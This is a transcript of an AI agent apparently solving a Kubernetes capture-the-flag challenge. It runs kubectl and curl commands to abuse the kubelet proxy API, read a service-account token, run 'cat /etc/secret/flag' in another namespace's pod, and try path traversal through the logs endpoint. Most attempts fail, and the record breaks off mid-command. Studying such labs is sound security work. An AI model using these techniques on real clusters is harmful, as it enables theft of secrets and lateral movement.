There's an f117 pod (F-117 Nighthawk — another stealth plane)! It also has a secret-volume mount. Let me find what namespace it's in and read its secret.

$ Bash
Find f117 pod details and try to read its secret via kubelet
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== F117 DETAILS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c "
import sys,json
data=json.load(sys.stdin)
for item in data.get(\"items\",[]):
    name=item.get(\"metadata\",{}).get(\"name\",\"\")
    ns=item.get(\"metadata\",{}).get(\"namespace\",\"\")
    if \"f117\" in name:
        print(f\"Pod: {name}, NS: {ns}\")
        for c in item.get(\"spec\",{}).get(\"containers\",[]):
            print(f\"  Container: {c.get(\"name\")}\")
            for vm in c.get(\"volumeMounts\",[]):
                print(f\"  VolumeMount: {vm.get(\"name\")} -> {vm.get(\"mountPath\")}\")
"' 2>&1
echo '=== READ F117 SECRET VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117/ 2>&1'
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw "/api/v1/nodes/node-1/proxy/exec/f117/f117-56dcc5bbcf-lhpjg/f117?command=cat&command=/etc/secret/flag&input=0&output=1&tty=0" 2>&1'
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== F117 DETAILS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c "
import sys,json
data=json.load(sys.stdin)
for item in data.get(\"items\",[]):
    name=item.get(\"metadata\",{}).get(\"name\",\"\")
    ns=item.get(\"metadata\",{}).get(\"namespace\",\"\")
    if \"f117\" in name:
        print(f\"Pod: {name}, NS: {ns}\")
        for c in item.get(\"spec\",{}).get(\"containers\",[]):
            print(f\"  Container: {c.get(\"name\")}\")
            for vm in c.get(\"volumeMounts\",[]):
                print(f\"  VolumeMount: {vm.get(\"name\")} -> {vm.get(\"mountPath\")}\")
"' 2>&1
echo '=== READ F117 SECRET VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117/ 2>&1'
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw "/api/v1/nodes/node-1/proxy/exec/f117/f117-56dcc5bbcf-lhpjg/f117?command=cat&command=/etc/secret/flag&input=0&output=1&tty=0" 2>&1'
exit
echo '=== F117 DETAILS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c "
import sys,json
data=json.load(sys.stdin)
for item in data.get(\"items\",[]):
    name=item.get(\"metadata\",{}).get(\"name\",\"\")
    ns=item.get(\"metadata\",{}).get(\"namespace\",\"\")
    if \"f117\" in name:
        print(f\"Pod: {name}, NS: {ns}\")
        for c in item.get(\"spec\",{}).get(\"containers\",[]):
            print(f\"  Container: {c.get(\"name\")}\")
            for vm in c.get(\"volumeMounts\",[]):
                print(f\"  VolumeMount: {vm.get(\"name\")} -> {vm.get(\"mountPath\")}\")
"' 2>&1
echo '=== READ F117 SECRET VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117/ 2>&1'
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw "/api/v1/nodes/node-1/proxy/exec/f117/f117-56dcc5bbcf-lhpjg/f117?command=cat&command=/etc/secret/flag&input=0&output=1&tty=0" 2>&1'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== F117 DETAILS ==='
[?2004l=== F117 DETAILS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c " c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c "
[?2004l[?2004h> import sys,json
[?2004l[?2004h> data=json.load(sys.stdin)
[?2004l[?2004h> for item in data.get(\"items\",[]):
[?2004l[?2004h>     name=item.get(\"metadata\",{}).get(\"name\",\"\")
[?2004l[?2004h>     ns=item.get(\"metadata\",{}).get(\"namespace\",\"\")
[?2004l[?2004h>     if \"f117\" in name:
[?2004l[?2004h>         print(f\"Pod: {name}, NS: {ns}\")
[?2004l[?2004h>         for c in item.get(\"spec\",{}).get(\"containers\",[]):
[?2004l[?2004h>             print(f\"  Container: {c.get(\"name\")}\")
[?2004l[?2004h>             for vm in c.get(\"volumeMounts\",[]):
[?2004l[?2004h>                 print(f\"  VolumeMount: {vm.get(\"name\")} -> {vm.get(\"mountPaath\")}\")
[?2004l[?2004h> "' 2>&1
[?2004lsh: 1: python3: not found
command terminated with exit code 127
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== READ F117 SECRET VIA KUBELET ==='
[?2004l=== READ F117 SECRET VIA KUBELET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f1117/ 2>&1'
[?2004lError from server (MethodNotAllowed): the server does not allow this method on the requested resource
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw "/api/v1/nodes/node-1/proxy/exec/f117/f117-56dcc5bbcf-lhpjg//f117?command=cat&command=/etc/secret/flag&input=0&output=1&tty=0" 2>&1'
[?2004lError from server (NotFound): the server could not find the requested resource
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Find f117 namespace and use kubelet run API to read secret
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== FIND F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u' 2>&1
echo '=== KUBELET RUN VIA CURL ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY DIFFERENT RUN FORMAT ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117?cmd=cat+/etc/secret/flag" 2>&1
' 2>&1
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== FIND F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u' 2>&1
echo '=== KUBELET RUN VIA CURL ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY DIFFERENT RUN FORMAT ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117?cmd=cat+/etc/secret/flag" 2>&1
' 2>&1
exit
echo '=== FIND F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u' 2>&1
echo '=== KUBELET RUN VIA CURL ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY DIFFERENT RUN FORMAT ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117?cmd=cat+/etc/secret/flag" 2>&1
' 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== FIND F117 NS ==='
[?2004l=== FIND F117 NS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"naamespace\":\"[^\"]*\"" | sort -u' 2>&1
[?2004l"namespace":"b2"
"namespace":"f117-19rks1k2"
"namespace":"kube-system"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== KUBELET RUN VIA CURL ==='
[?2004l=== KUBELET RUN VIA CURL ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default..svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117" -d "cmd=cat //etc/secret/flag" 2>&1
[?2004l[?2004h> ' 2>&1
[?2004l{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "nodes \"node-1\" is forbidden: User \"system:serviceaccount:b2:stealth\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "name": "node-1",
    "kind": "nodes"
  },
  "code": 403
}[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== TRY DIFFERENT RUN FORMAT ==='
[?2004l=== TRY DIFFERENT RUN FORMAT ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default..svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117?cmd=cat+/etc/ssecret/flag" 2>&1
[?2004l[?2004h> ' 2>&1
[?2004l{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "nodes \"node-1\" is forbidden: User \"system:serviceaccount:b2:stealth\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "name": "node-1",
    "kind": "nodes"
  },
  "code": 403
}[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking

Found the f117 pod in namespace f117-19rks1k2. Let me check what permissions I have there.

$ Bash
Check permissions in f117 namespace
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== PERMS F117 NS ==='
kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== PODS ==='
kubectl get pods -n f117-19rks1k2 2>&1
echo '=== SECRETS ==='
kubectl get secrets -n f117-19rks1k2 2>&1
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== PERMS F117 NS ==='
kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== PODS ==='
kubectl get pods -n f117-19rks1k2 2>&1
echo '=== SECRETS ==='
kubectl get secrets -n f117-19rks1k2 2>&1
exit
echo '=== PERMS F117 NS ==='
kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== PODS ==='
kubectl get pods -n f117-19rks1k2 2>&1
echo '=== SECRETS ==='
kubectl get secrets -n f117-19rks1k2 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PERMS F117 NS ==='
[?2004l=== PERMS F117 NS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth can-i --list -n f117-19rks1k2 2>&11
[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PODS ==='
[?2004l=== PODS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get pods -n f117-19rks1k2 2>&1
[?2004lError from server (Forbidden): pods is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "pods" in API group "" in the namespace "f117-19rks1k2"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SECRETS ==='
[?2004l=== SECRETS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get secrets -n f117-19rks1k2 2>&1
[?2004lError from server (Forbidden): secrets is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "secrets" in API group "" in the namespace "f117-19rks1k2"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Try kubelet container logs and direct kubelet access for f117 secret
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== CONTAINER LOGS VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/containerLogs/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 2>&1 | tail -10
echo '=== KUBELET CONFIGZ ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/configz 2>&1 | head -5
echo '=== KUBELET STATS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/stats/summary 2>&1 | head -5
echo '=== TRY DIRECT KUBELET FROM B2 POD ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- curl -sk https://10.0.236.119:10250/run/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 -d "cmd=cat /etc/secret/flag" 2>&1
exit
SSHEOF
Command running in background with ID: bggzef1or. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bggzef1or.output
$ Bash
Check background task output
sleep 5 && cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bggzef1or.output 2>/dev/null | tail -30
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== CONTAINER LOGS VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/containerLogs/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 2>&1 | tail -10
echo '=== KUBELET CONFIGZ ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/configz 2>&1 | head -5
echo '=== KUBELET STATS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/stats/summary 2>&1 | head -5
echo '=== TRY DIRECT KUBELET FROM B2 POD ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- curl -sk https://10.0.236.119:10250/run/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 -d "cmd=cat /etc/secret/flag" 2>&1
exit
echo '=== CONTAINER LOGS VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/containerLogs/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 2>&1 | tail -10
echo '=== KUBELET CONFIGZ ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/configz 2>&1 | head -5
echo '=== KUBELET STATS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/stats/summary 2>&1 | head -5
echo '=== TRY DIRECT KUBELET FROM B2 POD ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- curl -sk https://10.0.236.119:10250/run/f117-19rks1k2/f117-56dcc5bbcf-lhpjg/f117 -d "cmd=cat /etc/secret/flag" 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== CONTAINER LOGS VIA KUBELET ==='
[?2004l=== CONTAINER LOGS VIA KUBELET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get --raw /api/v1/nodes/node-1/proxy/containerLogs/f117-19rks1k2/f117-56dcc5bbbcf-lhpjg/f117 2>&1 | tail -10
[?2004lError from server (NotFound): the server could not find the requested resource
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== KUBELET CONFIGZ ==='
[?2004l=== KUBELET CONFIGZ ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get --raw /api/v1/nodes/node-1/proxy/configz 2>&1 | head -5
[?2004l{"kubeletconfig":{"enableServer":true,"staticPodPath":"/etc/kubernetes/manifests","podLogsDir":"/var/log/pods","syncFrequency":"1m0s","fileCheckFrequency":"20s","httpCheckFrequency":"20s","address":"0.0.0.0","port":10250,"tlsCertFile":"/var/lib/kubelet/pki/kubelet.crt","tlsPrivateKeyFile":"/var/lib/kubelet/pki/kubelet.key","rotateCertificates":true,"authentication":{"x509":{"clientCAFile":"/etc/kubernetes/pki/ca.crt"},"webhook":{"enabled":true,"cacheTTL":"2m0s"},"anonymous":{"enabled":false}},"authorization":{"mode":"Webhook","webhook":{"cacheAuthorizedTTL":"5m0s","cacheUnauthorized
Thinking
$ Bash
Try kubelet log path traversal to access secret volumes
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== F117 POD UID ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"uid\":\"[^\"]*\"" | head -10' 2>&1
echo '=== TRY LOG PATH TRAVERSAL ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/logs/ 2>&1 | head -10
echo '=== TRY SECRET PATH ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw '/api/v1/nodes/node-1/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F' 2>&1 | head -10
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== F117 POD UID ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"uid\":\"[^\"]*\"" | head -10' 2>&1
echo '=== TRY LOG PATH TRAVERSAL ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/logs/ 2>&1 | head -10
echo '=== TRY SECRET PATH ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw '/api/v1/nodes/node-1/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F' 2>&1 | head -10
exit
echo '=== F117 POD UID ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"uid\":\"[^\"]*\"" | head -10' 2>&1
echo '=== TRY LOG PATH TRAVERSAL ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/logs/ 2>&1 | head -10
echo '=== TRY SECRET PATH ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw '/api/v1/nodes/node-1/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F' 2>&1 | head -10
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== F117 POD UID ==='
[?2004l=== F117 POD UID ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"uiid\":\"[^\"]*\"" | head -10' 2>&1
[?2004l"uid":"a406343c-f6a7-4897-a35e-8a7999293a4a"
"uid":"8796b477-9d2b-474a-a247-09553a53a88a"
"uid":"b6a3593d-1888-4c39-9b6c-044b7ff07301"
"uid":"d79218c1-60df-4fe3-8d82-519a4e84dfdd"
"uid":"2abae50f-e8a7-4aca-a9a7-bf43ec9718b1"
"uid":"187f2c6c-24f3-4bd1-a7c3-03d15c83181a"
"uid":"8f843f01-918b-4bce-a05c-1203f12518ab"
"uid":"187f2c6c-24f3-4bd1-a7c3-03d15c83181a"
"uid":"fa172eae-3ebf-4254-b460-0edaad72100f"
"uid":"4bd49146-d723-4b96-9389-b60627e48a88"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== TRY LOG PATH TRAVERSAL ==='
[?2004l=== TRY LOG PATH TRAVERSAL ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get --raw /api/v1/nodes/node-1/proxy/logs/ 2>&1 | head -10
[?2004l<!doctype html>
<meta name="viewport" content="width=device-width">
<pre>
<a href="alternatives.log">alternatives.log</a>
<a href="amazon/">amazon/</a>
<a href="apt/">apt/</a>
<a href="auth.log">auth.log</a>
<a href="btmp">btmp</a>
<a href="calico/">calico/</a>
<a href="chrony/">chrony/</a>
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== TRY SECRET PATH ==='
[?2004l=== TRY SECRET PATH ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get --raw '/api/v1/nodes/node-1/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F'' 2>&1 | head -10
[?2004lError from server (Forbidden): nodes "node-1" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "nodes/lib" in API group "" at the cluster scope
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Check stealth SA permissions in f117 namespace
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== STEALTH PERMS F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== STEALTH EXEC F117 ==='
